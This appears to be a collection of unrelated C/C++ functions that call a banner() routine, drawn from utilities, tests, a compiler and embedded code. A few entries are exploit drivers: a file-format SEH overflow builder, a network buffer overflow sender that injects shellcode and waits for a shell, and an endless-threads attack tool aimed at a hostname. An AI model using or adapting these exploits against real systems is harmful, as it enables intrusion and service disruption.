int main(int argc, char *argv[], void *extra) { register int n; register char *cp; char *delim = "#"; int width = 80; NoP(argc); NoP(extra); error_info.id = "banner"; while (n = optget(argv, usage)) switch (n) { case 'd': delim = opt_info.arg; break; case 'w': width = opt_info.num; break; case ':': error(2, "%s", opt_info.arg); break; case '?': error(ERROR_usage(2), "%s", opt_info.arg); break; } argv += opt_info.index; if(error_info.errors || !*argv) error(ERROR_usage(2), "%s", optusage((char*)0)); sfset(sfstdout,SF_LINE,0); while(cp = *argv++) banner(cp,delim,width); exit(0); }
/* returns 0 if ok, error code otherwise */ static int extract(int argc, char **argv) { int strip, verbose, test, err, non, noff, doc = 0, page = 0; char *marker, s[MAXLINE], start[MAXLINE]; FILE *fpin, *fpout; /* unused variables int cont = 1; char *t[MAXLINE]; */ verbose = existFlag(argc, argv, VERBFLAG); if (verbose) banner(); err = getFiles(argc, argv, &fpin, &fpout, strip = existFlag(argc, argv, REVFLAG)); if (err) return err; strcpy(start, STARTDOC); marker = getFlagName(argc, argv, MARKFLAG); strcat(start, marker == NULL ? AUTODOC : marker); non = strlen(start); noff = strlen(ENDDOC); test = (!strip) && existFlag(argc, argv, TESTFLAG); if (test) preamble(fpout); while (fgets(s, MAXLINE, fpin) != NULL) doc = stripdoc(fpout,s,start,doc,non,noff,verbose,strip,&page); if (test) closing(fpout); if (verbose) fputc('\n', stderr); fclose(fpin); fclose(fpout); return 0; }
/*-------------------------------------------------------------------------*/ void ccinit(int argc, char *argv[]) { char buffer[260]; strcpy(copyright, COPYRIGHT); strcpy(version, STRING_VERSION); outfile[0] = 0; #ifdef CPREPROCESSOR banner("ocpp Version %s %s", version, copyright); #else banner("%s Version %s %s", chosenAssembler->progname, version, copyright); /* parse the environment and command line */ if (chosenAssembler->envname && !parseenv(chosenAssembler->envname)) usage(argv[0]); #endif #ifdef MICROSOFT GetModuleFileNameA(NULL, buffer, sizeof(buffer)); //FIXME NULL as int #else strcpy(buffer, argv[0]); #endif parseconfigfile(buffer); if (!parse_args(&argc, argv, TRUE) || (!clist && argc == 1)) usage(argv[0]); /* tack the environment includes in */ addinclude(); /* Scan the command line for file names or response files */ { int i; for (i = 1; i < argc; i++) if (argv[i][0] == '@') parsefile(0, argv[i] + 1); else InsertAnyFile(argv[i], 0, - 1); } if ((clist && clist->next) && has_output_file) fatal("Cannot specify output file for multiple input files\n"); if (has_output_file && !cparams.prm_compileonly) { #ifndef CPREPROCESSOR if (chosenAssembler->insert_noncompile_file) chosenAssembler->insert_noncompile_file(outfile); #endif has_output_file = FALSE; } /* Set up a ctrl-C handler so we can exit the prog */ signal(SIGINT, ctrlchandler); if (setjmp(ctrlcreturn)) exit(1); }
void StartTest ( void* param1Ptr, void* param2Ptr ) { banner("Test 1"); test1(); banner("Test 2"); test2(); }
// Suggested captions: "before jiffy removal", "after goat saturation", // etc. void printUnit(int level, const IRUnit& unit, const char* caption, AsmInfo* ai, const GuardConstraints* guards) { if (dumpIREnabled(level)) { std::ostringstream str; str << banner(caption); print(str, unit, ai, guards); str << banner(""); if (HPHP::Trace::moduleEnabledRelease(HPHP::Trace::printir, level)) { HPHP::Trace::traceRelease("%s\n", str.str().c_str()); } if (RuntimeOption::EvalDumpIR >= level) { mcg->annotations().emplace_back(caption, std::move(str.str())); } } }
void c_commands (player * p, char *str) { int i, len = 0, count; command *com; char *ref = stack; char temp[80]; for (i = 0, count = 0; i < 27; i++) for (com = root_commands[i]; com->key; com++) if (com->level <= p->residency) count++; sprintf (temp, "Your command set contains %d commands", count); banner (p, stack, temp, '-'); stack = strchr (stack, 0); *stack++ = ' '; *stack++ = ' '; for (i = 0; i < 27; i++) for (com = root_commands[i]; com->key; com++) if (com->level <= p->residency) { len += (strlen (com->key) + 2); if (len < 77) { sprintf (stack, "%s, ", com->key); stack = strchr (stack, 0); } else { len = 0; *stack++ = '\n'; *stack++ = ' '; *stack++ = ' '; len += (strlen (com->key) + 2); sprintf (stack, "%s, ", com->key); stack = strchr (stack, 0); } } stack--; stack--; *stack++ = '.'; *stack++ = '\n'; banner (p, stack, 0, '-'); stack = strchr (stack, 0); *stack++ = 0; writep (p, ref); stack = ref; return; }
int main (void) { banner("Longest Path"); Graph<int> g9; g9.add_edge(0, 1, 5); g9.add_edge(0, 2, 3); g9.add_edge(1, 3, 6); g9.add_edge(1, 2, 2); g9.add_edge(2, 4, 4); g9.add_edge(2, 5, 2); g9.add_edge(2, 3, 7); g9.add_edge(3, 5, 1); g9.add_edge(3, 4, -1); g9.add_edge(4, 5, -2); std::cout << g9 << std::endl; if(g9.is_cycle() == true) { std::cout << "Graph is not a DAG" << std::endl; return 0; } auto dist = g9.longest_path(1); for (const auto& d: dist) { std::cout << *d.first << ": " << d.second << std::endl; } return 0; }
void entry(void) { /* ----------------------------------------------------------- * * Open file stream * * * ----------------------------------------------------------- */ if(openHost (COM0)==TRUE) { banner (); shell (); } /* ----------------------------------------------------------- * * The closing the HostPort should *never* occur * * ----------------------------------------------------------- */ closeHost (); }
void help(void) /**************************************************************************** * * Function: help * * Description: Help provides usage information about our program if the * options do make any sense. * ****************************************************************************/ { banner(); printf("Usage: %s -udthlc [-f<name>] [files(s)]\n\n",nameofus); printf("%s translates text files from one format to another according to various\n",progname); printf("options.\n\n"); printf("Options are:\n"); printf(" -u - Convert to UNIX format. CR/LF's are converted to LF's\n"); printf(" -d - Convert to DOS format. LF's are converted to CR/LF's\n"); printf(" -a - Convert to Mac to DOS format. CR's are converted to CR/LF's\n"); printf(" -m - Strip CR's from the file\n"); printf(" -s - Filter Ctrl-D's from postscript files\n"); printf(" -l - Convert all characters to lowercase\n"); printf(" -c - Convert all characters to uppercase (captials)\n"); printf(" -txx - Convert TABS to xx spaces. Maximum is %d\n",MAXTABSIZE); printf(" -f<name> - Read names of files to format from file <name>\n"); printf(" -h - Display help screen (this screen)\n"); exit(1); }
void C_EntryTask3(void) { volatile int delay; /* ----------------------------------------------------------- * * Open file stream * * * ----------------------------------------------------------- */ if(openHost (COM0)==TRUE) { banner (); shell (); } /* ----------------------------------------------------------- * * Closing the HostPort should *never* occur * * ----------------------------------------------------------- */ closeHost (); while (1) { delay=0xbeef003; } }
int main(int argc,char *argv[]) { //char *ext = NULL; char *str_exp = NULL; banner(); str_exp = (char *)malloc(MAX_PATH); if( str_exp == NULL ) { printf( "内存分配失败\n" ); system("pause"); return -1; } if(argv[1]==NULL) { system("pause"); return -1; } Extension((argv[1]),str_exp); if (strcmp(str_exp,"mkv")==0||strcmp(str_exp,"mp4")==0) Decoding_xor(argv[1]); else printf("文件不是音频文件\n"); free(str_exp);//内存泄露 str_exp=NULL; system("pause"); return 0; }
static void usage () { fprintf (stderr, "\nUsage: %s sacfile ... \n", Program_Name); banner (Program_Name, 0) ; exit (1); }
static void HandleTestA ( int32_t x, void* contextPtr ) { static int count=0; count++; LE_PRINT_VALUE("%i", x); if ( contextPtr == ClientMessage ) { LE_DEBUG("HandleTestA: context pointer works"); LE_PRINT_VALUE( "'%s'", (char *)contextPtr ); } else { LE_DEBUG("HandleTestA: context pointer fails"); } // Re-do the test again for the given number of times. if ( count < 2 ) { banner("Test 2 again"); LE_PRINT_VALUE("%i", count); HandlerRef = AddTestAHandler(HandleTestA, (void*)ClientMessage); LE_PRINT_VALUE("%p", HandlerRef); LE_DEBUG("Triggering TestA yet again for count=%i\n", count); TriggerTestA(); } }
/**************************************************************************** REMARKS: Display the help screen. ****************************************************************************/ static void help(void) { banner(); printf("Valid commands are:\n"); printf("\n"); printf(" gamode show [device]\n"); printf(" gamode showvbe [device]\n"); printf(" To show the list of display modes for the device. The showvbe variant\n"); printf(" will show the list of modes reported to VESA VBE applications.\n"); printf("\n"); printf(" gamode add <xres> <yres> <bits> [device]\n"); printf(" To add a new display mode (automatically enabled for VESA VBE apps)\n"); printf("\n"); printf(" gamode addref <xres> <yres> <refresh> [device]\n"); printf(" To add a new refresh rate for a specific resolution. To specify an\n"); printf(" interlaced refresh rate, use a negative value. i.e.: use -87 for 87Hz\n"); printf(" interlaced modes.\n"); printf("\n"); printf(" gamode del <xres> <yres> <bits> [device]\n"); printf(" To remove a specific display mode\n"); printf("\n"); printf(" gamode set <xres> <yres> <bits> <refresh> [head] [device]\n"); printf(" To set the default refresh rate for a specific resolution\n"); exit(-1); }
int main(int argc, char *argv[]) { FILE *output; int position; char *buffer; banner(); if( argc != 3 ) usage(argv[0]); printf("[+] Target is: %s\n",targets[atoi(argv[2])].platform); printf("[+] Creating evil buffer..."); fflush(stdout); buffer = (char *) malloc(BUFFSIZE); position = 0; memset(buffer,0x41,BUFFSIZE); memset(buffer,0x41,SEH_OFFSET); position += SEH_OFFSET; memcpy(buffer+position,jmpover,4); position += 4; memcpy(buffer+position,&targets[atoi(argv[2])].addr,4); position += 4; memset(buffer+position,0x90,0x40); position += 0x40; // shift 0x40 bytes ahead to avoid corruption memcpy(buffer+position,shellcode,strlen(shellcode)); position += strlen(shellcode); memset(buffer+position,0x00,1); printf("done\n"); printf("[+] Opening file..."); fflush(stdout); if(!(output = fopen(argv[1],"w"))) { fprintf(stderr,"error\n"); return 1; } printf("done\n"); printf("[+] Writing stuff into the file\n"); fprintf(output,"%s%s%s",header,buffer,footer); printf("[+] Done! %s created!\n",argv[1]); fclose(output); free(buffer); return 0; }
void make_folder() { dpl_status_t ret, ret2; dpl_async_task_t *atask = NULL; dpl_buf_t *buf = NULL; banner("creating folder"); buf = dpl_buf_new(); if (NULL == buf) exit(1); atask = (dpl_async_task_t *) dpl_put_async_prepare(ctx, //the context NULL, //no bucket folder, //the folder NULL, //no option DPL_FTYPE_DIR, //directory NULL, //no condition NULL, //no range NULL, //no metadata NULL, //no sysmd buf); //object body if (NULL == atask) { fprintf(stderr, "error preparing task\n"); exit(1); } atask->cb_func = cb_make_folder; atask->cb_arg = atask; dpl_task_pool_put(pool, (dpl_task_t *) atask); }
void get_nameless_object() { dpl_async_task_t *atask = NULL; dpl_buf_t *buf = NULL; dpl_status_t ret; banner("7 - get nameless object data+metadata"); atask = (dpl_async_task_t *) dpl_get_id_async_prepare(ctx, //the context NULL, //no bucket id1, //the key NULL, //no opion DPL_FTYPE_REG, //object type NULL, //no condition NULL); //no range if (NULL == atask) { fprintf(stderr, "error preparing task\n"); exit(1); } atask->cb_func = cb_get_nameless_object; atask->cb_arg = atask; dpl_task_pool_put(pool, (dpl_task_t *) atask); }
void get_named_object_partially() { dpl_async_task_t *atask = NULL; dpl_buf_t *buf = NULL; dpl_status_t ret; dpl_range_t range; banner("9 - get named object partially"); //first 1000 bytes range.start = 0; range.end = 999; atask = (dpl_async_task_t *) dpl_get_async_prepare(ctx, //the context NULL, //no bucket file3_path, //the key NULL, //no option DPL_FTYPE_REG, //object type NULL, //no condition &range); //range if (NULL == atask) { fprintf(stderr, "error preparing task\n"); exit(1); } atask->cb_func = cb_get_named_object_partially; atask->cb_arg = atask; dpl_task_pool_put(pool, (dpl_task_t *) atask); }
void get_object_meta() { dpl_async_task_t *atask = NULL; dpl_buf_t *buf = NULL; dpl_status_t ret; banner("10 - get object meta"); atask = (dpl_async_task_t *) dpl_head_async_prepare(ctx, //the context NULL, //no bucket file3_path, //the key NULL, //no opion DPL_FTYPE_REG, //object type NULL); //no condition if (NULL == atask) { fprintf(stderr, "error preparing task\n"); exit(1); } atask->cb_func = cb_get_object_meta; atask->cb_arg = atask; dpl_task_pool_put(pool, (dpl_task_t *) atask); }
void test3(void) { banner("Test 3"); // Test what happens if an event is triggered, then the handler is removed. The registered // handler should not be called, even if there is a pending event, because the handler has // been removed. TestAHandlerRef_t handlerRef = AddTestAHandler(NewHandleTestA, NULL); LE_PRINT_VALUE("%p", handlerRef); LE_DEBUG("Triggering New TestA\n"); TriggerTestA(); RemoveTestAHandler(handlerRef); // Test function callback parameters. int result; // This is not used in the test; this parameter was added to test a code generation bug fix. uint8_t dataArray[] = { 1, 2 }; result = TestCallback(10, dataArray, 2, CallbackTestHandler, NULL); LE_PRINT_VALUE("%d", result); LE_DEBUG("Triggering CallbackTest"); TriggerCallbackTest(100); // Need to allow the event loop to process the trigger. // The rest of the test will be continued in the handler. }
int main(int argc, char *argv[]) { int exoid; char *filename; int cpu_word_size = 8; int io_word_size = 0; float version = 0.0; banner(); if (argc != 3) { fprintf(stderr, "ERROR: Usage is exotec2 exo_in tec_out\n\n"); exit(1); } /* Open the files... */ filename = argv[1]; exoid = ex_open(filename, EX_READ, &cpu_word_size, &io_word_size, &version); if (exoid < 0) { fprintf(stderr, "Cannot open file '%s' - exiting.\n", filename); exit(1); } /* Write the tec file... */ filename = argv[2]; tec(exoid, filename); ex_close(exoid); add_to_log(argv[0], 0.0); }
int main(int argc, char *argv[]) { int i; struct thread_info tinfo; banner(); if (argc <= 1) { w4rn41dun14mu(0, 2, 0); fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout); return 0; } w4rn41dun14mu(0, 3, 0); printf("[+] Attacking %s please wait in minutes ...\n", argv[1]); while (1) { i = 0; while (i != 50) { tinfo.thread_num = i; tinfo.argv_string = argv[1]; pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo); usleep(500000); i++; } } }
// Usage/Help message --------------------------------------------------------- void usage(char *progName) { banner(); printf(" Usage \n"); printf(" ----- \n"); printf(" %s -d <deviceName> (-i <code>|-r <code>-<code>) [-u] [-q] [-f] [-e]\n\n", progName); printf(" Options \n"); printf(" ------- \n"); printf(" -d Symbolic device name (without \\\\.\\) \n"); printf(" -i IOCTL code used as reference for scanning (see also -u) \n"); printf(" -r IOCTL codes range (format: 00004000-00008000) to fuzz \n"); printf(" -u Fuzz only the IOCTL specified with -i \n"); printf(" -f Filter out IOCTLs with no buffer length restriction \n"); printf(" -q Quiet mode (do not display hexdumps when fuzzing) \n"); printf(" -e Display error codes during IOCTL codes scanning \n"); printf(" -h Display this help \n\n"); printf(" Examples \n"); printf(" -------- \n"); printf("Scanning by Function code + Transfer type bruteforce from given valid IOCTL:\n"); printf(" > %s -d deviceName -i 00004000 \n\n", progName); printf("Scanning a given IOCTL codes range (filter enabled):\n"); printf(" > %s -d deviceName -r 00004000-00004fff -f \n\n", progName); printf("Fuzzing only a given IOCTL (quiet mode):\n"); printf(" > %s -d deviceName -i 00004000 -u -q \n", progName); printf("\n"); exit(1); }
static void usage () { fprintf (stderr, "\nUsage: %s database\n", Program_Name); banner (Program_Name, 0); exit (1); }
/**************************************************************************** REMARKS: Main program entry point ****************************************************************************/ int main( int argc, char *argv[]) { GA_devCtx *dc = NULL; GA_configInfo info; N_uint8 capabilities = 0; N_int32 numMonitorPorts; GA_SCIFuncs sci; uchar edid[128]; EDID_record rec; N_int32 channel = SCI_channelMonitorPrimary; /* Get command line option for SNAP DDC channel */ if (argc > 1) channel = atoi(argv[1]); /* Now handle the query */ dc = LoadDriver(0); if (!dc) { printf("Unable to load SNAP DDC driver!\n"); return -1; } /* Display graphics driver info */ banner(); info.dwSize = sizeof(info); init.GetConfigInfo(&info); printf("Doing DDC for %s %s (device %d) on channel %d:\n\n", info.ManufacturerName, info.ChipsetName, dc->DeviceIndex, channel); /* Detect if the SCI interface is active */ sci.dwSize = sizeof(sci); if (GA_queryFunctions(dc,GA_GET_SCIFUNCS,&sci) && sci.SCIdetect(&capabilities,&numMonitorPorts)) { /* Initialise DDC2B communications */ if (DDC_initExt(dc,channel) == 0) { /* Read EDID data */ DDC_readEDID(0xA0,edid,sizeof(edid),0,channel); /* Parse EDID data and dump into formatted text file */ if (!EDID_parse(edid,&rec,false)) printf("Unable to parse EDID data!\n"); else if (!EDID_format(&rec,EDID_FILENAME)) printf("Unable to format EDID data!\n"); else printf("EDID data formatted into text file " EDID_FILENAME " \n"); printf("DDC channel %d EDID: %s %s\n",channel,rec.mfrName,rec.modelName); } else { printf("Could not perform DDC2B communications!\n"); } } else { printf("No DDC services available in driver!\n"); } /* Unload SNAP and exit */ GA_unloadDriver(dc); return 0; }
int main(int argc, char **argv) { /* Mainly only for safety */ setupSignal(); /* Initialize decoder's */ DecoderSet(dInstr); banner(argc,argv); if( (u2AnonContext = parseCommandLine(argc,argv)) == NULL) { /* XXX */ CleanExit(1); } if(u2AnonContext->verbose_flag) { printContext(u2AnonContext); } if( fileOperation(u2AnonContext)) { /* XXX */ CleanExit(1); } CleanExit(0); /* Exit here but remove the compile warn ...*/ return 0; }
int main( int argc, char *argv[] ) { int sock; struct hostent *he; struct sockaddr_in target; unsigned char evilbuff[1530]; long retaddr1 = 0x796C7DDC; long retaddr2 = 0x77E7FC79; long retaddr3 = 0x77EB1933; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif banner(); if ( argc < 4 ) uso(argv[0]); if ( (he = gethostbyname(argv[1])) == NULL ) errore("\t[-] Impossibile risolvere l'host\n"); target.sin_family = AF_INET; target.sin_addr = *(( struct in_addr *) he -> h_addr ); target.sin_port = htons(atoi(argv[2])); fputs("\t[+] Preparazione del buffer...\n", stdout); memset(evilbuff, 0x41, 1040 ); switch(argv[3][0]) { case '1': memcpy(evilbuff + 1024, (unsigned char *) &retaddr1, 4); break; case '2': memcpy(evilbuff + 1024, (unsigned char *) &retaddr2, 4); break; case '3': memcpy(evilbuff + 1024, (unsigned char *) &retaddr3, 4); break; default : errore("[-] Target sbagliato\n"); } memcpy(evilbuff + 1040, shellcode, sizeof(shellcode)); fputs("\t[+] Connessione...\n", stdout); if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0 ) errore("\t[-] Impossibile creare socket\n"); if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 ) errore("\t[-] Connessione fallita\n"); if ( send( sock, evilbuff, sizeof(evilbuff), 0) < 0 ) errore("\t[-] Impossibile spedire il buffer\n"); close(sock); fputs("\t[+] Buffer spedito!\n", stdout); fputs("\t[+] In attesa della connessione...\n\n", stdout); connectz(argv[1]); return(0); }
int main(int argc, char **argv) { int ret = EXIT_FAILURE; banner(); //verbose++; if (!parse_options(argc, argv)) return ret; check_root(); if (dump) { efivar_bootloader_dump(); printf("\n"); return EXIT_SUCCESS; } init_log(); /* insure current_version is set */ if (current_version == -1) current_version = read_version_from_subvol_file(""); ret = do_update_bootloader_pref(); close_log(ret, current_version, 0, log_bootloader_pref); return ret; }
/* * プロセスマネージャの main 関数。 * */ int _main (void) { pm_msg_t request; init_process_manager (); banner (); /* * メッセージの受信 - 処理 - 返答のループ */ for (;;) { /* メッセージの受信 (get_req は libkernel.a にある関数) */ if (get_req (recvport, &request, sizeof (request)) > 0) { /* * リクエストの処理:返答も doit() で行う。 */ doit (&request); } else { /* * 受信でエラーとなった。 * エラーとなった原因を reject して、次の要求を受けつける。 */ } } /* DO NOT REACHED */ }
int pigaleWindow::save(bool manual) {TopologicalGraph G(GC); /* check overwite is already done if(manual) // check overwrite {QFileInfo fi = QFileInfo(OutputFileName); if(!(IO_Capabilities(OutputDriver)&TAXI_FILE_RECORD_ADD) && fi.exists() ) {if(QMessageBox::warning(this,"Pigale Editor" ,tr("This file already exixts.<br> Overwrite ?") ,QMessageBox::Ok ,QMessageBox::Cancel) == QMessageBox::Cancel)return 0; } } */ if(manual)// ask for a title {Prop1<tstring> title(G.Set(),PROP_TITRE); QString titre(~title()); bool ok = true; titre = QInputDialog::getText(this, "Pigale","Enter the graph name", QLineEdit::Normal,titre, &ok); if(ok && !titre.isEmpty()) title() = (const char *)titre.toLatin1(); else if(!ok) return -1; } if(IO_Save(OutputDriver,G,(const char *)OutputFileName.toLatin1()) == 1) {setPigaleError(-1,QString("Cannot open file:%1").arg(OutputFileName).toLatin1()); return -1; } GraphIndex2 = IO_GetNumRecords(OutputDriver,(const char *)OutputFileName.toLatin1()); banner(); return 0; }